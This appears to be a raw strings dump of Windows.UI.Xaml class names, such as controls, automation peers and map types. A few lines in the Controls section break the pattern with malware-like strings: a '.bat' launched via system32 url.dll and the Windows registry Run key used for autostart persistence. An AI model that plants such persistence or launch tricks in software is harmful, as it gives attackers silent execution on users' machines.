Windows.UI.Xaml.Automation.Peers.ScrollViewerAutomationPeer
Windows.UI.Xaml.Automation.Peers.SearchBoxAutomationPeer
Windows.UI.Xaml.Automation.Peers.SelectorAutomationPeer
Windows.UI.Xaml.Automation.Peers.SelectorItemAutomationPeer
Windows.UI.Xaml.Automation.Peers.SemanticZoomAutomationPeer
Windows.UI.Xaml.Automation.Peers.SettingsFlyoutAutomationPeer
Windows.UI.Xaml.Automation.Peers.SliderAutomationPeer
Windows.UI.Xaml.Automation.Peers.TextBlockAutomationPeer
Windows.UI.Xaml.Automation.Peers.TextBoxAutomationPeer
Windows.UI.Xaml.Automation.Peers.ThumbAutomationPeer
Windows.UI.Xaml.Automation.Peers.TimePickerAutomationPeer
Windows.UI.Xaml.Automation.Peers.ToggleButtonAutomationPeer
Windows.UI.Xaml.Automation.Peers.ToggleMenuFlyoutItemAutomationPeer
Windows.UI.Xaml.Automation.Peers.ToggleSwitchAutomationPeer
Windows.UI.Xaml.Automation.Peers.TreeViewItemAutomationPeer
Windows.UI.Xaml.Automation.Peers.TreeViewListAutomationPeer
Windows.UI.Xaml.Automation.RangeValuePatternIdentifiers
Windows.UI.Xaml.Automation.ScrollPatternIdentifiers
Windows.UI.Xaml.Automation.SelectionItemPatternIdentifiers
Windows.UI.Xaml.Automation.SelectionPatternIdentifiers
Windows.UI.Xaml.Automation.SpreadsheetItemPatternIdentifiers
Windows.UI.Xaml.Automation.StylesPatternIdentifiers
Windows.UI.Xaml.Automation.TableItemPatternIdentifiers
Windows.UI.Xaml.Automation.TablePatternIdentifiers
Windows.UI.Xaml.Automation.TogglePatternIdentifiers
Windows.UI.Xaml.Automation.TransformPattern2Identifiers
Windows.UI.Xaml.Automation.TransformPatternIdentifiers
Windows.UI.Xaml.Automation.ValuePatternIdentifiers
Windows.UI.Xaml.Automation.WindowPatternIdentifiers
Windows.UI.Xaml.BringIntoViewOptions
Windows.UI.Xaml.BrushTransition
Windows.UI.Xaml.ColorPaletteResources
Windows.UI.Xaml.Controls.AppBar
Windows.UI.Xaml.Controls.AppBarButton
Windows.UI.Xaml.Controls.AppBarElementContainer
Windows.UI.Xaml.Controls.AppBarSeparator
Windows.UI.Xaml.Controls.AppBarToggleButton
Windows.UI.Xaml.Controls.AutoSuggestBox
Windows.UI.Xaml.Controls.AutoSuggestBoxQuerySubmittedEventArgs
Windows.UI.Xaml.Controls.AutoSuggestBoxSuggestionChosenEventArgs
Windows.UI.Xaml.Controls.AutoSuggestBoxTextChangedEventArgs
Windows.UI.Xaml.Controls.BackClickEventArgs
Windows.UI.Xaml.Controls.BitmapIcon
Windows.UI.Xaml.Controls.BitmapIconSource
Windows.UI.Xaml.Controls.Border
Windows.UI.Xaml.Controls.Button
Windows.UI.Xaml.Controls.CalendarDatePicker
Windows.UI.Xaml.Controls.CalendarView
Windows.UI.Xaml.Controls.CalendarViewDayItem
Windows.UI.Xaml.Controls.Canvas
Windows.UI.Xaml.Controls.CaptureElement
Windows.UI.Xaml.Controls.CheckBox
Windows.UI.Xaml.Controls.ChoosingGroupHeaderContainerEventArgs
Windows.UI.Xaml.Controls.ChoosingItemContainerEventArgs
Windows.UI.Xaml.Controls.ColorChangedEventArgs
Windows.UI.Xaml.Controls.ColorPicker
Windows.UI.Xaml.Controls.ColumnDefinition
Windows.UI.Xaml.Controls.ComboBox
Windows.UI.Xaml.Controls.ComboBoxItem
Windows.UI.Xaml.Controls.CommandBar
Windows.UI.Xaml.Controls.CommandBarFlyout
Windows.UI.Xaml.Controls.CommandBarOverflowPresenter
Windows.UI.Xaml.Controls.CommandingContainer
Windows.UI.Xaml.Controls.ContainerContentChangingEventArgs
Windows.UI.Xaml.Controls.ContentControl
Windows.UI.Xaml.Controls.ContentDialog
Windows.UI.Xaml.Controls.ContentPresenter
Windows.UI.Xaml.Controls.Control
Windows.UI.Xaml.Controls.ControlTemplate
Windows.UI.Xaml.Controls.DataTemplateSelector
Windows.UI.Xaml.Controls.DatePickedEventArgs
Windows.UI.Xaml.Controls.DatePicker
Windows.UI.Xaml.Controls.DatePickerFlyout
Windows.UI.Xaml.Controls.DatePickerFlyoutItem
Windows.UI.Xaml.Controls.DatePickerFlyoutPresenter
Windows.UI.Xaml.Controls.DisplayRegionHelperTestApi
Windows.UI.Xaml.Controls.DragItemsStartingEventArgs
Windows.UI.Xaml.Controls.DropDownButton
Windows.UI.Xaml.Controls.DropDownButtonAutomationPeer
Windows.UI.Xaml.Controls.DynamicOverflowItemsChangingEventArgs
Windows.UI.Xaml.Controls.ElementAnimator
Windows.UI.Xaml.Controls.ElementFactory
Windows.UI.Xaml.Controls.FlipView
Windows.UI.Xaml.Controls.FlipViewItem
Windows.UI.Xaml.Controls.FlowLayout
Windows.UI.Xaml.Controls.FlowLayoutState
Windows.UI.Xaml.Controls.Flyout
Windows.UI.Xaml.Controls.FlyoutPresenter
Windows.UI.Xaml.Controls.FontIcon
Windows.UI.Xaml.Controls.Hub
Windows.UI.Xaml.Controls.HubSection
Windows.UI.Xaml.Controls.HubSectionHeaderClickEventArgs
Windows.UI.Xaml.Controls.HyperlinkButton
Windows.UI.Xaml.Controls.IconElement
Windows.UI.Xaml.Controls.IconSource
Windows.UI.Xaml.Controls.IconSourceElement
Windows.UI.Xaml.Controls.Image
Windows.UI.Xaml.Controls.IMECandidateItem
Windows.UI.Xaml.Controls.IMECandidatePage
Windows.UI.Xaml.Controls.IndexPath
Windows.UI.Xaml.Controls.InkCanvas
Windows.UI.Xaml.Controls.InkToolbar
Windows.UI.Xaml.Controls.InkToolbarBallpointPenButton
Windows.UI.Xaml.Controls.InkToolbarCustomPen
Windows.UI.Xaml.Controls.InkToolbarCustomPenButton
Windows.UI.Xaml.Controls.InkToolbarCustomToggleButton
Windows.UI.Xaml.Controls.InkToolbarCustomToolButton
Windows.UI.Xaml.Controls.InkToolbarEraserButton
Windows.UI.Xaml.Controls.InkToolbarEraserButtonInternal
Windows.UI.Xaml.Controls.InkToolbarEraserFlyoutItemClickedEventArgs
Windows.UI.Xaml.Controls.InkToolbarFlyoutItem
Windows.UI.Xaml.Controls.InkToolbarHighlighterButton
Windows.UI.Xaml.Controls.InkToolbarInternal
Windows.UI.Xaml.Controls.InkToolbarIsStencilButtonCheckedChangedEventArgs
Windows.UI.Xaml.Controls.InkToolbarMenuButton
Windows.UI.Xaml.Controls.InkToolbarPenButton
Windows.UI.Xaml.Controls.InkToolbarPencilButton
Windows.UI.Xaml.Controls.InkToolbarPenConfigurationControl
Windows.UI.Xaml.Controls.InkToolbarRulerButton
Windows.UI.Xaml.Controls.InkToolbarStencilButton
Windows.UI.Xaml.Controls.InkToolbarToggleButton
Windows.UI.Xaml.Controls.InkToolbarToolButton
Windows.UI.Xaml.Controls.InputValidationCommand
Windows.UI.Xaml.Controls.InputValidationContext
Windows.UI.Xaml.Controls.InputValidationError
Windows.UI.Xaml.Controls.ItemClickEventArgs
Windows.UI.Xaml.Controls.ItemsControl
Windows.UI.Xaml.Controls.ItemsPanelTemplate
Windows.UI.Xaml.Controls.ItemsPickedEventArgs
Windows.UI.Xaml.Controls.ItemsPresenter
Windows.UI.Xaml.Controls.ItemsRepeater
Windows.UI.Xaml.Controls.ItemsRepeaterElementClearingEventArgs
Windows.UI.Xaml.Controls.ItemsRepeaterElementIndexChangedEventArgs
Windows.UI.Xaml.Controls.ItemsRepeaterElementPreparedEventArgs
Windows.UI.Xaml.Controls.ItemsSourceView
Windows.UI.Xaml.Controls.ItemsStackPanel
Windows.UI.Xaml.Controls.ItemsWrapGrid
Windows.UI.Xaml.Controls.Layout
Windows.UI.Xaml.Controls.LayoutContext
Windows.UI.Xaml.Controls.LayoutPanel
Windows.UI.Xaml.Controls.ListBox
Windows.UI.Xaml.Controls.ListBoxItem
Windows.UI.Xaml.Controls.ListPickerFlyout
Windows.UI.Xaml.Controls.ListView
Windows.UI.Xaml.Controls.ListViewBase
Windows.UI.Xaml.Controls.ListViewBaseHeaderItem
Windows.UI.Xaml.Controls.ListViewHeaderItem
Windows.UI.Xaml.Controls.ListViewItem
Windows.UI.Xaml.Controls.ListViewPersistenceHelper
Windows.UI.Xaml.Controls.Maps.CustomMapTileDataSource
Windows.UI.Xaml.Controls.Maps.HttpMapTileDataSource
Windows.UI.Xaml.Controls.Maps.LocalMapTileDataSource
Windows.UI.Xaml.Controls.Maps.MapActualCameraChangedEventArgs
Windows.UI.Xaml.Controls.Maps.MapActualCameraChangingEventArgs
Windows.UI.Xaml.Controls.Maps.MapBillboard
Windows.UI.Xaml.Controls.Maps.MapCamera
Windows.UI.Xaml.Controls.Maps.MapContextRequestedEventArgs
Windows.UI.Xaml.Controls.Maps.MapControl
Windows.UI.Xaml.Controls.Maps.MapControlBusinessLandmarkClickEventArgs
Windows.UI.Xaml.Controls.Maps.MapControlBusinessLandmarkPointerEnteredEventArgs
Windows.UI.Xaml.Controls.Maps.MapControlBusinessLandmarkPointerExitedEventArgs
Windows.UI.Xaml.Controls.Maps.MapControlBusinessLandmarkRightTappedEventArgs
Windows.UI.Xaml.Controls.Maps.MapControlDataHelper
Windows.UI.Xaml.Controls.Maps.MapControlTransitFeatureClickEventArgs
Windows.UI.Xaml.Controls.Maps.MapControlTransitFeaturePointerEnteredEventArgs
Windows.UI.Xaml.Controls.Maps.MapControlTransitFeaturePointerExitedEventArgs
Windows.UI.Xaml.Controls.Maps.MapControlTransitFeatureRightTappedEventArgs
Windows.UI.Xaml.Controls.Maps.MapCustomExperience
Windows.UI.Xaml.Controls.Maps.MapCustomExperienceChangedEventArgs
Windows.UI.Xaml.Controls.Maps.MapElement
Windows.UI.Xaml.Controls.Maps.MapElement3D
Windows.UI.Xaml.Controls.Maps.MapElementClickEventArgs
Windows.UI.Xaml.Controls.Maps.MapElementPointerEnteredEventArgs
Windows.UI.Xaml.Controls.Maps.MapElementPointerExitedEventArgs
Windows.UI.Xaml.Controls.Maps.MapElementsLayer
Windows.UI.Xaml.Controls.Maps.MapElementsLayerClickEventArgs
Windows.UI.Xaml.Controls.Maps.MapElementsLayerContextRequestedEventArgs
Windows.UI.Xaml.Controls.Maps.MapElementsLayerPointerEnteredEventArgs
Windows.UI.Xaml.Controls.Maps.MapElementsLayerPointerExitedEventArgs
Windows.UI.Xaml.Controls.Maps.MapIcon
Windows.UI.Xaml.Controls.Maps.MapInputEventArgs
Windows.UI.Xaml.Controls.Maps.MapItemsControl
Windows.UI.Xaml.Controls.Maps.MapLayer
Windows.UI.Xaml.Controls.Maps.MapModel3D
Windows.UI.Xaml.Controls.Maps.MapOverlay
Windows.UI.Xaml.Controls.Maps.MapOverlayPresenter
Windows.UI.Xaml.Controls.Maps.MapOverlaysLayer
Windows.UI.Xaml.DependencyObject
Windows.UI.Xaml.DependencyObjectCollection
Windows.UI.Xaml.DependencyProperty
Windows.UI.Xaml.DispatcherTimer
Windows.UI.Xaml.Documents.Block
Windows.UI.Xaml.Documents.Bold
Windows.UI.Xaml.Documents.ContactContentLinkProvider
Windows.UI.Xaml.Documents.ContentLink
Windows.UI.Xaml.Documents.ContentLinkProvider
Windows.UI.Xaml.Documents.ContentLinkProviderCollection
Windows.UI.Xaml.Documents.Glyphs
Windows.UI.Xaml.Documents.Hyperlink
Windows.UI.Xaml.Documents.Inline
Windows.UI.Xaml.Documents.InlineUIContainer
Windows.UI.Xaml.Documents.Italic
Windows.UI.Xaml.Controls.Maps.MapPolygon
Windows.UI.Xaml.Controls.Maps.MapPolyline
Windows.UI.Xaml.Controls.Maps.MapRightTappedEventArgs
Windows.UI.Xaml.Controls.Maps.MapRouteView
Windows.UI.Xaml.Controls.Maps.MapScene
Windows.UI.Xaml.Controls.Maps.MapStyleSheet
Windows.UI.Xaml.Controls.Maps.MapStyleSheetEntries
Windows.UI.Xaml.Controls.Maps.MapStyleSheetEntryStates
Windows.UI.Xaml.Controls.Maps.MapTargetCameraChangedEventArgs
Windows.UI.Xaml.Controls.Maps.MapTileBitmapRequest
Windows.UI.Xaml.Controls.Maps.MapTileBitmapRequestDeferral
Windows.UI.Xaml.Controls.Maps.MapTileBitmapRequestedEventArgs
Windows.UI.Xaml.Controls.Maps.MapTileDataSource
Windows.UI.Xaml.Controls.Maps.MapTileSource
Windows.UI.Xaml.Controls.Maps.MapTileUriRequest
Windows.UI.Xaml.Controls.Maps.MapTileUriRequestDeferral
Windows.UI.Xaml.Controls.Maps.MapTileUriRequestedEventArgs
Windows.UI.Xaml.Controls.Maps.StreetsideExperience
Windows.UI.Xaml.Controls.Maps.StreetsidePanorama
Windows.UI.Xaml.Controls.MediaElement
Windows.UI.Xaml.Controls.MediaPlayerElement
Windows.UI.Xaml.Controls.MediaPlayerPresenter
Windows.UI.Xaml.Controls.MediaTransportControls
Windows.UI.Xaml.Controls.MediaTransportControlsHelper
Windows.UI.Xaml.Controls.MenuBar
Windows.UI.Xaml.Controls.MenuBarItem
Windows.UI.Xaml.Controls.MenuBarItemFlyout
Windows.UI.Xaml.Controls.MenuFlyout
Windows.UI.Xaml.Controls.MenuFlyoutItem
Windows.UI.Xaml.Controls.MenuFlyoutItemBase
Windows.UI.Xaml.Controls.MenuFlyoutPresenter
Windows.UI.Xaml.Controls.MenuFlyoutSeparator
Windows.UI.Xaml.Controls.MenuFlyoutSubItem
Windows.UI.Xaml.Controls.MUXControlsTestHooks
Windows.UI.Xaml.Controls.MUXControlsTestHooksLoggingMessageEventArgs
Windows.UI.Xaml.Controls.NavigationView
Windows.UI.Xaml.Controls.NavigationViewBackRequestedEventArgs
Windows.UI.Xaml.Controls.NavigationViewDisplayModeChangedEventArgs
Windows.UI.Xaml.Controls.NavigationViewItem
Windows.UI.Xaml.Controls.NavigationViewItemBase
Windows.UI.Xaml.Controls.NavigationViewItemHeader
Windows.UI.Xaml.Controls.NavigationViewItemInvokedEventArgs
Windows.UI.Xaml.Controls.NavigationViewItemSeparator
Windows.UI.Xaml.Controls.NavigationViewList
Windows.UI.Xaml.Controls.NavigationViewPaneClosingEventArgs
Windows.UI.Xaml.Controls.NavigationViewSelectionChangedEventArgs
Windows.UI.Xaml.Controls.NavigationViewTemplateSettings
Windows.UI.Xaml.Controls.NonVirtualizingLayout
Windows.UI.Xaml.Controls.NonVirtualizingLayoutContext
Windows.UI.Xaml.Controls.Page
Windows.UI.Xaml.Controls.Panel
Windows.UI.Xaml.Controls.ParallaxView
Windows.UI.Xaml.Controls.PasswordBox
Windows.UI.Xaml.Controls.PathIcon
Windows.UI.Xaml.Controls.PathIconSource
Windows.UI.Xaml.Controls.PersonPicture
Windows.UI.Xaml.Controls.PickerConfirmedEventArgs
Windows.UI.Xaml.Controls.PickerFlyout
Windows.UI.Xaml.Controls.Pivot
Windows.UI.Xaml.Controls.PivotItem
Windows.UI.Xaml.Controls.PivotItemEventArgs
Windows.UI.Xaml.Controls.Primitives.ButtonBase
Windows.UI.Xaml.Controls.Primitives.CalendarPanel
Windows.UI.Xaml.Controls.Primitives.CarouselPanel
Windows.UI.Xaml.Controls.Primitives.ColorPickerSlider
Windows.UI.Xaml.Controls.Primitives.ColorSpectrum
Windows.UI.Xaml.Controls.Primitives.CommandBarFlyoutCommandBar
Windows.UI.Xaml.Controls.Primitives.CommandBarFlyoutCommandBarTemplateSettings
Windows.UI.Xaml.Controls.Primitives.DragCompletedEventArgs
Windows.UI.Xaml.Controls.Primitives.DragDeltaEventArgs
Windows.UI.Xaml.Controls.Primitives.DragStartedEventArgs
Windows.UI.Xaml.Controls.Primitives.FlyoutBase
Windows.UI.Xaml.Controls.Primitives.FlyoutShowOptions
Windows.UI.Xaml.Controls.Primitives.GeneratorPositionHelper
Windows.UI.Xaml.Controls.Primitives.GridViewItemPresenter
Windows.UI.Xaml.Controls.Primitives.JumpListItemBackgroundConverter
Windows.UI.Xaml.Controls.Primitives.JumpListItemForegroundConverter
Windows.UI.Xaml.Controls.Primitives.LayoutInformation
Windows.UI.Xaml.Controls.Primitives.ListViewItemPresenter
Windows.UI.Xaml.Controls.Primitives.LoopingSelector
Windows.UI.Xaml.Controls.Primitives.NavigationViewItemPresenter
Windows.UI.Xaml.Controls.Primitives.OrientedVirtualizingPanel
Windows.UI.Xaml.Controls.Primitives.PickerFlyoutBase
Windows.UI.Xaml.Controls.Primitives.PivotHeaderItem
Windows.UI.Xaml.Controls.Primitives.PivotHeaderPanel
Windows.UI.Xaml.Controls.Primitives.PivotPanel
Windows.UI.Xaml.Controls.Primitives.Popup
Windows.UI.Xaml.Controls.Primitives.RadioButtonsListView
Windows.UI.Xaml.Controls.Primitives.RadioButtonsListViewItem
Windows.UI.Xaml.Controls.Primitives.RangeBase
Windows.UI.Xaml.Controls.Primitives.RepeatButton
Windows.UI.Xaml.Controls.Primitives.ScrollBar
Windows.UI.Xaml.Controls.Primitives.ScrollControllerInteractionRequestedEventArgs
Windows.UI.Xaml.Controls.Primitives.ScrollControllerOffsetChangeRequestedEventArgs
Windows.UI.Xaml.Controls.Primitives.ScrollControllerOffsetChangeWithAdditionalVelocityRequestedEventArgs
Windows.UI.Xaml.Controls.Primitives.Scroller
Windows.UI.Xaml.Controls.Primitives.ScrollerAutomationPeer
Windows.UI.Xaml.Controls.Primitives.ScrollerSnapPointBase
Windows.UI.Xaml.Controls.Primitives.ScrollerSnapPointIrregular
Windows.UI.Xaml.Controls.Primitives.ScrollerSnapPointRegular
Windows.UI.Xaml.Controls.Primitives.ScrollEventArgs
Windows.UI.Xaml.Controls.Primitives.Selector
Windows.UI.Xaml.Controls.Primitives.SelectorItem
Windows.UI.Xaml.Controls.Primitives.Thumb
Windows.UI.Xaml.Controls.Primitives.TickBar
Windows.UI.Xaml.Controls.Primitives.ToggleButton
Windows.UI.Xaml.Controls.ProgressBar
Windows.UI.Xaml.Controls.ProgressRing
Windows.UI.Xaml.Controls.PullToRefreshHelperTestApi
Windows.UI.Xaml.Controls.RadioButton
Windows.UI.Xaml.Controls.RadioButtons
Windows.UI.Xaml.Controls.RadioMenuFlyoutItem
Windows.UI.Xaml.Controls.RatingControl
Windows.UI.Xaml.Controls.RatingItemFontInfo
Windows.UI.Xaml.Controls.RatingItemImageInfo
Windows.UI.Xaml.Controls.RatingItemInfo
Windows.UI.Xaml.Controls.RecyclePool
Windows.UI.Xaml.Controls.RecyclingElementFactory
Windows.UI.Xaml.Controls.RefreshContainer
Windows.UI.Xaml.Controls.RefreshInteractionRatioChangedEventArgs
Windows.UI.Xaml.Controls.RefreshRequestedEventArgs
Windows.UI.Xaml.Controls.RefreshStateChangedEventArgs
Windows.UI.Xaml.Controls.RefreshVisualizer
Windows.UI.Xaml.Controls.RelativePanel
Windows.UI.Xaml.Controls.RepeaterAutomationPeer
Windows.UI.Xaml.Controls.RepeaterTestHooks
Windows.UI.Xaml.Controls.RevealListViewItemPresenter
Windows.UI.Xaml.Controls.RichEditBox
Windows.UI.Xaml.Controls.RichTextBlock
Windows.UI.Xaml.Controls.RichTextBlockOverflow
Windows.UI.Xaml.Controls.RowDefinition
Windows.UI.Xaml.Controls.ScrollAnchorProvider
Windows.UI.Xaml.Controls.ScrollContentPresenter
Windows.UI.Xaml.Controls.ScrollerAnchorRequestedEventArgs
Windows.UI.Xaml.Controls.ScrollerBringingIntoViewEventArgs
Windows.UI.Xaml.Controls.ScrollerChangeOffsetsOptions
Windows.UI.Xaml.Controls.ScrollerChangeOffsetsWithAdditionalVelocityOptions
Windows.UI.Xaml.Controls.ScrollerChangeZoomFactorOptions
Windows.UI.Xaml.Controls.ScrollerChangeZoomFactorWithAdditionalVelocityOptions
Windows.UI.Xaml.Controls.ScrollerChangingOffsetsEventArgs
Windows.UI.Xaml.Controls.ScrollerChangingZoomFactorEventArgs
Windows.UI.Xaml.Controls.ScrollerTestHooks
Windows.UI.Xaml.Controls.ScrollerTestHooksAnchorEvaluatedEventArgs
Windows.UI.Xaml.Controls.ScrollerTestHooksInteractionSourcesChangedEventArgs
Windows.UI.Xaml.Controls.ScrollerViewChangeCompletedEventArgs
Windows.UI.Xaml.Controls.ScrollViewer
Windows.UI.Xaml.Controls.ScrollViewerIRefreshInfoProviderAdapter
Windows.UI.Xaml.Controls.ScrollViewerViewChangedEventArgs
Windows.UI.Xaml.Controls.SearchBox
Windows.UI.Xaml.Controls.SearchBoxResultSuggestionChosenEventArgs
Windows.UI.Xaml.Controls.SectionsInViewChangedEventArgs
Windows.UI.Xaml.Controls.SelectionChangedEventArgs
Windows.UI.Xaml.Controls.SelectionModel
Windows.UI.Xaml.Controls.SelectionModelChildrenRequestedEventArgs
Windows.UI.Xaml.Controls.SelectionModelSelectionChangedEventArgs
Windows.UI.Xaml.Controls.SelectTemplateEventArgs
Windows.UI.Xaml.Controls.SemanticZoom
Windows.UI.Xaml.Controls.SemanticZoomLocation
Windows.UI.Xaml.Controls.SemanticZoomViewChangedEventArgs
Windows.UI.Xaml.Controls.SettingsFlyout
Windows.UI.Xaml.Controls.Slider
Windows.UI.Xaml.Controls.SpectrumBrush
Windows.UI.Xaml.Controls.SplitButton
Windows.UI.Xaml.Controls.SplitButtonAutomationPeer
Windows.UI.Xaml.Controls.SplitButtonClickEventArgs
Windows.UI.Xaml.Controls.SplitButtonTestApi
Windows.UI.Xaml.Controls.SplitView
Windows.UI.Xaml.Controls.StackLayout
Windows.UI.Xaml.Controls.StackLayoutState
Windows.UI.Xaml.Controls.StackPanel
Windows.UI.Xaml.Controls.StyleSelector
Windows.UI.Xaml.Controls.SwapChainBackgroundPanel
Windows.UI.Xaml.Controls.SwapChainPanel
Windows.UI.Xaml.Controls.SwipeControl
Windows.UI.Xaml.Controls.SwipeItem
Windows.UI.Xaml.Controls.SwipeItemInvokedEventArgs
Windows.UI.Xaml.Controls.SwipeItems
Windows.UI.Xaml.Controls.SwipeTestHooks
Windows.UI.Xaml.Controls.SymbolIcon
Windows.UI.Xaml.Controls.SymbolIconSource
Windows.UI.Xaml.Controls.TextBlock
Windows.UI.Xaml.Controls.TextBox
Windows.UI.Xaml.Controls.TextCommandBarFlyout
Windows.UI.Xaml.Controls.TileGrid
.bat&%systemroot%\system32\url.dll
.bat&%systemroot%\system32\url.dll
system32\%d
Psoftware\microsoft\windows\currentversion\run\
Windows.UI.Xaml.Controls.ToggleSwitch
Windows.UI.Xaml.Controls.ToolTip
Windows.UI.Xaml.Controls.ToolTipService
Windows.UI.Xaml.Controls.TreeView
Windows.UI.Xaml.Controls.TreeViewCollapsedEventArgs
Windows.UI.Xaml.Controls.TreeViewDragItemsCompletedEventArgs
Windows.UI.Xaml.Controls.TreeViewDragItemsStartingEventArgs
Windows.UI.Xaml.Controls.TreeViewExpandingEventArgs
Windows.UI.Xaml.Controls.TreeViewItem
Windows.UI.Xaml.Controls.TreeViewItemInvokedEventArgs
Windows.UI.Xaml.Controls.TreeViewItemTemplateSettings
Windows.UI.Xaml.Controls.TreeViewList
Windows.UI.Xaml.Controls.TreeViewNode
Windows.UI.Xaml.Controls.TwoPaneView
Windows.UI.Xaml.Controls.UniformGridLayout
Windows.UI.Xaml.Controls.UniformGridLayoutState
Windows.UI.Xaml.Controls.UserControl
Windows.UI.Xaml.Controls.VariableSizedWrapGrid
Windows.UI.Xaml.Controls.Viewbox
Windows.UI.Xaml.Controls.VirtualizingLayout
Windows.UI.Xaml.Controls.VirtualizingLayoutContext
Windows.UI.Xaml.Controls.VirtualizingPanel
Windows.UI.Xaml.Controls.VirtualizingStackPanel
Windows.UI.Xaml.Controls.WebView
Windows.UI.Xaml.Controls.WebViewBrush
Windows.UI.Xaml.Controls.WrapGrid
Windows.UI.Xaml.Controls.XamlControlsResources
Windows.UI.Xaml.Core.Direct.XamlDirect
Windows.UI.Xaml.CornerRadiusHelper
Windows.UI.Xaml.Data.Binding
Windows.UI.Xaml.Data.BindingBase
Windows.UI.Xaml.Data.BindingExpression
Windows.UI.Xaml.Data.BindingExpressionBase
Windows.UI.Xaml.Data.BindingOperations
Windows.UI.Xaml.Data.CollectionViewSource
Windows.UI.Xaml.Data.CurrentChangingEventArgs
Windows.UI.Xaml.Data.DataErrorsChangedEventArgs
Windows.UI.Xaml.Data.ItemIndexRange
Windows.UI.Xaml.Data.PropertyChangedEventArgs
Windows.UI.Xaml.Data.RelativeSource
Windows.UI.Xaml.DataTemplate
Windows.UI.Xaml.DataTemplateKey
Windows.UI.Xaml.Documents.LineBreak
Windows.UI.Xaml.Documents.Paragraph
Windows.UI.Xaml.Documents.PlaceContentLinkProvider
Windows.UI.Xaml.Documents.Run
Windows.UI.Xaml.Documents.Span
Windows.UI.Xaml.Documents.TextElement
Windows.UI.Xaml.Documents.TextHighlighter
Windows.UI.Xaml.Documents.TextHighlighterBase
Windows.UI.Xaml.Documents.Typography
Windows.UI.Xaml.Documents.Underline
Windows.UI.Xaml.DurationHelper
Windows.UI.Xaml.DxamlCoreTestHooks
Windows.UI.Xaml.ElementFactoryGetArgs
Windows.UI.Xaml.ElementFactoryRecycleArgs
Windows.UI.Xaml.ElementSoundPlayer
Windows.UI.Xaml.EventTrigger
Windows.UI.Xaml.ExceptionRoutedEventArgs
Windows.UI.Xaml.FrameworkElement
Windows.UI.Xaml.FrameworkElementEx
Windows.UI.Xaml.FrameworkTemplate
Windows.UI.Xaml.FrameworkView
Windows.UI.Xaml.FrameworkViewSource
Windows.UI.Xaml.GridLengthHelper
Windows.UI.Xaml.Hosting.DesignerAppManager
Windows.UI.Xaml.Hosting.DesktopWindowXamlSource
Windows.UI.Xaml.Hosting.ElementCompositionPreview
Windows.UI.Xaml.Hosting.WindowsXamlManager
Windows.UI.Xaml.Hosting.XamlIsland
Windows.UI.Xaml.Hosting.XamlPresenter
Windows.UI.Xaml.Hosting.XamlRuntime
Windows.UI.Xaml.Hosting.XamlSourceFocusNavigationRequest
Windows.UI.Xaml.Hosting.XamlSourceFocusNavigationResult
Windows.UI.Xaml.Hosting.XamlUIPresenter
Windows.UI.Xaml.Input.AccessKeyDisplayDismissedEventArgs
Windows.UI.Xaml.Input.AccessKeyDisplayRequestedEventArgs
Windows.UI.Xaml.Input.AccessKeyInvokedEventArgs
Windows.UI.Xaml.Input.AccessKeyManager
Windows.UI.Xaml.Input.ContextRequestedEventArgs
Windows.UI.Xaml.Input.DoubleTappedRoutedEventArgs
Windows.UI.Xaml.Input.FindNextElementOptions
Windows.UI.Xaml.Input.FocusManager
Windows.UI.Xaml.Input.HoldingRoutedEventArgs
Windows.UI.Xaml.Input.InputManager
Windows.UI.Xaml.Input.InputScope
Windows.UI.Xaml.Input.InputScopeName
Windows.UI.Xaml.Input.KeyboardAccelerator
Windows.UI.Xaml.Input.ManipulationCompletedRoutedEventArgs
Windows.UI.Xaml.Input.ManipulationDeltaRoutedEventArgs
Windows.UI.Xaml.Input.ManipulationInertiaStartingRoutedEventArgs
Windows.UI.Xaml.Input.ManipulationPivot
Windows.UI.Xaml.Input.ManipulationStartedRoutedEventArgs
Windows.UI.Xaml.Input.ManipulationStartingRoutedEventArgs
Windows.UI.Xaml.Input.RightTappedRoutedEventArgs
Windows.UI.Xaml.Input.StandardUICommand
Windows.UI.Xaml.Input.TappedRoutedEventArgs
Windows.UI.Xaml.Input.XamlUICommand
Windows.UI.Xaml.InteractionBase
Windows.UI.Xaml.Internal.LayoutTransitionElementUtilities
Windows.UI.Xaml.Internal.SecondaryContentRelationship
Windows.UI.Xaml.Interop.NotifyCollectionChangedEventArgs
Windows.UI.Xaml.Markup.MarkupExtension
Windows.UI.Xaml.Markup.ProvideValueTargetProperty
Windows.UI.Xaml.Markup.XamlBinaryWriter
Windows.UI.Xaml.Markup.XamlBindingHelper
Windows.UI.Xaml.Markup.XamlMarkupHelper
Windows.UI.Xaml.Markup.XamlReader
Windows.UI.Xaml.Media.AcrylicBrush
Windows.UI.Xaml.Media.AcrylicTestApi
Windows.UI.Xaml.Media.Animation.AddDeleteThemeTransition
Windows.UI.Xaml.Media.Animation.BackEase
Windows.UI.Xaml.Media.Animation.BasicConnectedAnimationConfiguration
Windows.UI.Xaml.Media.Animation.BeginStoryboard
Windows.UI.Xaml.Media.Animation.BounceEase
Windows.UI.Xaml.Media.Animation.CircleEase
Windows.UI.Xaml.Media.Animation.ColorAnimation
Windows.UI.Xaml.Media.Animation.ColorAnimationUsingKeyFrames
Windows.UI.Xaml.Media.Animation.ColorKeyFrame
Windows.UI.Xaml.Media.Animation.ColorKeyFrameCollection
Windows.UI.Xaml.Media.Animation.CommonNavigationTransitionInfo
Windows.UI.Xaml.Media.Animation.ConnectedAnimationConfiguration
Windows.UI.Xaml.Media.Animation.ConnectedAnimationService
Windows.UI.Xaml.Media.Animation.ContentThemeTransition
Windows.UI.Xaml.Media.Animation.ContinuumNavigationTransitionInfo
Windows.UI.Xaml.Media.Animation.CubicEase
Windows.UI.Xaml.Media.Animation.DirectConnectedAnimationConfiguration
Windows.UI.Xaml.Media.Animation.DiscreteColorKeyFrame
Windows.UI.Xaml.Media.Animation.DiscreteDoubleKeyFrame
Windows.UI.Xaml.Media.Animation.DiscreteObjectKeyFrame
Windows.UI.Xaml.Media.Animation.DiscretePointKeyFrame
Windows.UI.Xaml.Media.Animation.DoubleAnimation
Windows.UI.Xaml.Media.Animation.DoubleAnimationUsingKeyFrames
Windows.UI.Xaml.Media.Animation.DoubleKeyFrame
Windows.UI.Xaml.Media.Animation.DoubleKeyFrameCollection
Windows.UI.Xaml.Media.Animation.DragItemThemeAnimation
Windows.UI.Xaml.Media.Animation.DragOverThemeAnimation
Windows.UI.Xaml.Media.Animation.DrillInNavigationTransitionInfo
Windows.UI.Xaml.Media.Animation.DrillInThemeAnimation
Windows.UI.Xaml.Media.Animation.DrillOutThemeAnimation
Windows.UI.Xaml.Media.Animation.DropTargetItemThemeAnimation
Windows.UI.Xaml.Media.Animation.EasingColorKeyFrame
